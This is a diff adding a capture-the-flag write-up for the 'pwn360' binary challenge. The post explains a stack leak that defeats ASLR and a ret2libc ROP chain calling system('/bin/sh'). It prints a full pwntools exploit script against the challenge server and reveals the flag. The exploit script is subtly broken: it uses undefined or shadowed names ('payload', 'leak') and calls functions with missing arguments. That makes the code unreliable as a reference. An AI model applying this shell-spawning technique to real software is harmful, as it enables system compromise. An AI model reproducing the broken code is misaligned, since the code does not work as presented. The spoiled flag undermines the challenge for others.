|
| 1 | +--- |
| 2 | +layout: post |
| 3 | +date: 2025-07-31 08:56:00 +0300 |
| 4 | +categories: NCSC-2025 pwn |
| 5 | +title: pwn360 |
| 6 | +tags: 64-bit ROP buffer-overflow leak ret2libc |
| 7 | +--- |
| 8 | + |
| 9 | +## Information |
| 10 | +- category: pwn |
| 11 | +- points: 1000 |
| 12 | + |
| 13 | +## Description |
| 14 | +> None |
| 15 | +
|
| 16 | +## Write-up |
| 17 | +This challenge provides a way to **leak memory** directly from the stack using a controlled index. With this capability, we can bypass both **ASLR** and **PIE** protections. |
| 18 | +### Step 1: Stack Leak to Defeat ASLR |
| 19 | +By using the negative index (e.g., `-3`), we are able to leak a return address from the stack. In our case, the leak shows an address that lies within the `puts` function — specifically something like `puts+0x1fa`. |
| 20 | +This is very useful because if we know the **offset of `puts`** within libc, we can subtract it from the leaked address to compute the **base address of libc**. |
| 21 | + |
| 22 | +### Step 2: Why ret2libc? |
| 23 | +Looking at the binary, we find: |
| 24 | +- PIE and ASLR are enabled. |
| 25 | +- There are **no useful gadgets** (like `pop rdi; ret`) inside the binary. |
| 26 | +- But once we leak libc, we can use **libc ROP gadgets**, including `system()`. |
| 27 | +This makes the **ret2libc technique** the most viable option. |
| 28 | + |
| 29 | +### Step 3: Exploiting ret2libc |
| 30 | +After finding the libc base from the `puts` leak, we: |
| 31 | +1. Compute the address of `system()` in libc. |
| 32 | +2. Find the string `"/bin/sh"` (either from libc or push it on the stack). |
| 33 | +3. Find a gadget like `pop rdi; ret` in libc. |
| 34 | +4. Overwrite the return address using the leakable index to set up a ROP chain: `pop rdi; ret → "/bin/sh" → system()` |
| 35 | + |
| 36 | +### Step 4: Stack Offset |
| 37 | +Using debugging tools like `pwndbg`, we determine that the offset to the return address is `0x58` (88) bytes. This helps in crafting the payload correctly. |
| 38 | + |
| 39 | +## Exploit |
| 40 | +```python |
| 41 | +#!/usr/bin/env python3 |
| 42 | + |
| 43 | +from pwn import * |
| 44 | + |
| 45 | +exe = ELF("./pwn360_patched_patched") |
| 46 | +libc = ELF("./libc.so.6") |
| 47 | + |
| 48 | +context.binary = exe |
| 49 | +offset_ret = 0x58 |
| 50 | +offset_puts = (0x1fa - 0x87be0) |
| 51 | +def conn(): |
| 52 | + if args.LOCAL: |
| 53 | + r = process([exe.path]) |
| 54 | + if args.DEBUG: |
| 55 | + gdb.attach(r) |
| 56 | + else: |
| 57 | + r = remote("cyberwarriors-challenges.skidz.io", 7001) |
| 58 | + |
| 59 | + return r |
| 60 | + |
| 61 | +def leak(r): |
| 62 | + payload =b"A"*offset_ret |
| 63 | + r.sendline(b"-3") |
| 64 | + r.recvuntil(b"Leaking for you: ") |
| 65 | + leak = int(r.recvline().strip().decode(),16) - offset_puts |
| 66 | + log.success(f"libase: {hex(leak)}.") |
| 67 | + |
| 68 | + return leak |
| 69 | +def payload(r,base): |
| 70 | + libc.address = leak |
| 71 | + rop = ROP(libc) |
| 72 | + |
| 73 | + pop_rdi = rop.find_gadget(['pop rdi','ret'])[0] |
| 74 | + ret = rop.find_gadget(['ret'])[0] |
| 75 | + system = libc.sym['system'] |
| 76 | + binsh = next(libc.search(b"/bin/sh")) |
| 77 | + |
| 78 | + payload += p64(ret) |
| 79 | + payload += p64(pop_rdi) |
| 80 | + payload += p64(binsh) |
| 81 | + payload += p64(system) |
| 82 | + return payload |
| 83 | + |
| 84 | +def main(): |
| 85 | + r = conn() |
| 86 | + base = leak(r) |
| 87 | + |
| 88 | + payload = payload() |
| 89 | + |
| 90 | + r.send(payload) |
| 91 | + r.interactive() |
| 92 | + |
| 93 | +if __name__ == "__main__": |
| 94 | + main() |
| 95 | +``` |
| 96 | +## Flag |
| 97 | +> Flag:``` NCSC{p0p1n6_5h3ll5_h4v3_4n07h3r_74573}``` |
| 98 | +
|
| 99 | + |
| 100 | + |
| 101 | + |
0 commit comments